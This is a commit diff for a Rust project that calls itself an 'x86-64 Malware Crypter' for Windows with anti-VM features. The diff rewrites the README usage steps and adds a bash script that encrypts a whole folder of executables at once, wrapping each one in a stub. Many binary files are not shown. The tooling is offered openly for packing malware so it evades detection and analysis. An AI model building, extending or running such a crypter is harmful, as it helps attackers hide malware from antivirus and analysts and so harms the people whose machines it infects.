Added batch processing
This commit is contained in:
@@ -2,12 +2,19 @@
|
||||
x86-64 Malware Crypter built in Rust for Windows with Anti-VM, powered by memexec
|
||||
|
||||
## Usage
|
||||
1. Put your Portable Executable in /crypt/
|
||||
2. In /crypt/ `cargo run <name_of_pe.exe>`
|
||||
(will output encrypted_bytes.bin and key.txt)
|
||||
3. move encrypted_bytes.bin and key.txt to /stub/src/
|
||||
4. In /stub/ `cargo build --target x86_64-pc-windows-gnu --release` or build without `--release` to keep debug symbols
|
||||
5. compiled exe will be in /stub/target/debug/ named "stub.exe"
|
||||
|
||||
### Single File
|
||||
1. Put your .exe in `/crypt/`
|
||||
2. `cd crypt && cargo run <filename.exe>`
|
||||
3. `mv encrypted_Input.bin key.txt ../stub/src/`
|
||||
4. `cd ../stub && cargo build --target x86_64-pc-windows-gnu --release`
|
||||
5. Your encrypted exe is in `stub/target/x86_64-pc-windows-gnu/release/stub.exe`
|
||||
|
||||
### Batch Processing (Multiple Files)
|
||||
```bash
|
||||
./batch.sh /path/to/folder/with/exe/files
|
||||
```
|
||||
Output: `batch_output/` folder with `{filename}_encrypted.exe` files
|
||||
|
||||
### Supported targets
|
||||
- Windows x86-64
|
||||
|
||||
Executable
BIN
Binary file not shown.
Executable
BIN
Binary file not shown.
Executable
BIN
Binary file not shown.
Executable
BIN
Binary file not shown.
Executable
BIN
Binary file not shown.
Executable
BIN
Binary file not shown.
Executable
BIN
Binary file not shown.
Executable
BIN
Binary file not shown.
Executable
BIN
Binary file not shown.
Executable
BIN
Binary file not shown.
Executable
BIN
Binary file not shown.
Executable
BIN
Binary file not shown.
Executable
BIN
Binary file not shown.
Executable
BIN
Binary file not shown.
Executable
BIN
Binary file not shown.
Executable
BIN
Binary file not shown.
Executable
BIN
Binary file not shown.
Executable
BIN
Binary file not shown.
Executable
BIN
Binary file not shown.
Executable
BIN
Binary file not shown.
Executable
BIN
Binary file not shown.
Executable
BIN
Binary file not shown.
Executable
BIN
Binary file not shown.
Executable
BIN
Binary file not shown.
Executable
BIN
Binary file not shown.
Executable
BIN
Binary file not shown.
Executable
BIN
Binary file not shown.
Executable
BIN
Binary file not shown.
Executable
BIN
Binary file not shown.
Executable
BIN
Binary file not shown.
Executable
BIN
Binary file not shown.
Executable
BIN
Binary file not shown.
Executable
BIN
Binary file not shown.
Executable
BIN
Binary file not shown.
Executable
BIN
Binary file not shown.
Executable
BIN
Binary file not shown.
Executable
BIN
Binary file not shown.
Executable
BIN
Binary file not shown.
Executable
BIN
Binary file not shown.
Executable
BIN
Binary file not shown.
Executable
BIN
Binary file not shown.
Executable
BIN
Binary file not shown.
Executable
BIN
Binary file not shown.
Executable
BIN
Binary file not shown.
Executable
BIN
Binary file not shown.
Executable
BIN
Binary file not shown.
Executable
BIN
Binary file not shown.
Executable
BIN
Binary file not shown.
Executable
BIN
Binary file not shown.
Executable
BIN
Binary file not shown.
@@ -19,6 +19,7 @@ fn main() -> std::io::Result<()> {
|
||||
let fname = args.get(1).unwrap();
|
||||
let plaintext_bytes = read(fname).expect("Failed to read file");
|
||||
|
||||
// Create output files with consistent naming
|
||||
let mut encrypted_file = File::create("encrypted_Input.bin")?;
|
||||
let mut key_file = File::create("key.txt")?;
|
||||
|
||||
|
||||
Executable
BIN
Binary file not shown.
Executable
+69
@@ -0,0 +1,69 @@
|
||||
#!/bin/bash
|
||||
|
||||
# Simple batch script that follows the exact README steps for each file
|
||||
# Usage: ./simple_batch.sh /path/to/folder/with/exe/files
|
||||
|
||||
INPUT_FOLDER="$1"
|
||||
OUTPUT_DIR="batch_output"
|
||||
|
||||
if [[ -z "$INPUT_FOLDER" ]]; then
|
||||
echo "Usage: $0 /path/to/folder/with/exe/files"
|
||||
exit 1
|
||||
fi
|
||||
|
||||
if [[ ! -d "$INPUT_FOLDER" ]]; then
|
||||
echo "Error: Folder '$INPUT_FOLDER' does not exist"
|
||||
exit 1
|
||||
fi
|
||||
|
||||
# Create output directory
|
||||
mkdir -p "$OUTPUT_DIR"
|
||||
|
||||
echo "Processing files from: $INPUT_FOLDER"
|
||||
echo "Output directory: $OUTPUT_DIR"
|
||||
|
||||
# Process each file
|
||||
for file in "$INPUT_FOLDER"/*; do
|
||||
if [[ ! -f "$file" ]]; then
|
||||
continue
|
||||
fi
|
||||
|
||||
# Skip files with extensions other than .exe or no extension
|
||||
if [[ "$file" == *.* && "$file" != *.exe ]]; then
|
||||
continue
|
||||
fi
|
||||
|
||||
filename=$(basename "$file")
|
||||
basename="${filename%.*}"
|
||||
|
||||
echo "Processing: $filename"
|
||||
|
||||
# Step 1: Copy file to /crypt/
|
||||
cp "$file" crypt/
|
||||
|
||||
# Step 2: Run cargo run in /crypt/
|
||||
echo " Encrypting..."
|
||||
cd crypt
|
||||
cargo run "$filename"
|
||||
cd ..
|
||||
|
||||
# Step 3: Move encrypted files to /stub/src/
|
||||
mv crypt/encrypted_Input.bin stub/src/
|
||||
mv crypt/key.txt stub/src/
|
||||
|
||||
# Step 4: Build the stub
|
||||
echo " Building stub..."
|
||||
cd stub
|
||||
cargo build --target x86_64-pc-windows-gnu --release
|
||||
cd ..
|
||||
|
||||
# Step 5: Copy the compiled exe to output directory
|
||||
cp stub/target/x86_64-pc-windows-gnu/release/stub.exe "$OUTPUT_DIR/${basename}_encrypted.exe"
|
||||
|
||||
# Clean up
|
||||
rm -f crypt/"$filename"
|
||||
|
||||
echo " ✓ Created: $OUTPUT_DIR/${basename}_encrypted.exe"
|
||||
done
|
||||
|
||||
echo "Batch processing complete! Check $OUTPUT_DIR for results."
|
||||
Binary file not shown.
@@ -0,0 +1 @@
|
||||
¢÷µ¸ónøšƒ–úÑi›
|
||||
Reference in New Issue
Block a user